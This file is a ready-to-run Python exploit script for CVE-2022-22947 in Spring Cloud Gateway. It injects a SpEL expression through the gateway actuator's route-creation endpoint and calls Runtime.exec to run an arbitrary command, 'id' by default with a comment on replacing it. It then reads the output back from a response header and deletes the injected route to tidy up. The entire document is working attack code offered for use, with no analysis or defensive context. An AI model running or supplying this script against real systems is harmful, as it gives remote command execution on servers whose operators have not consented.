Spring-Cloud-Gateway-CVE-2022-22947.py

import requests
import json
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exec(url):

    headers1 = {
        'Accept-Encoding': 'gzip, deflate',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/json'
    }

    headers2 = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded'
    }

    ## command to execute replace "id" in payload

    payload = '''{\r
      "id": "hacktest",\r
      "filters": [{\r
        "name": "AddResponseHeader",\r
        "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r
        }],\r
      "uri": "http://example.com",\r
      "order": 0\r
    }'''

   

    
    re1 = requests.post(url=url + "/actuator/gateway/routes/hacktest",data=payload,headers=headers1,json=json, verify=False)
    re2 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2, verify=False)
    re3 = requests.get(url=url + "/actuator/gateway/routes/hacktest",headers=headers2, verify=False)
    re4 = requests.delete(url=url + "/actuator/gateway/routes/hacktest",headers=headers2, verify=False)
    re5 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2, verify=False)
    print(re3.text)


if __name__ == "__main__":
  if(len(sys.argv)>1):
    url = sys.argv[1]
    exec(url)
  else:
    exit()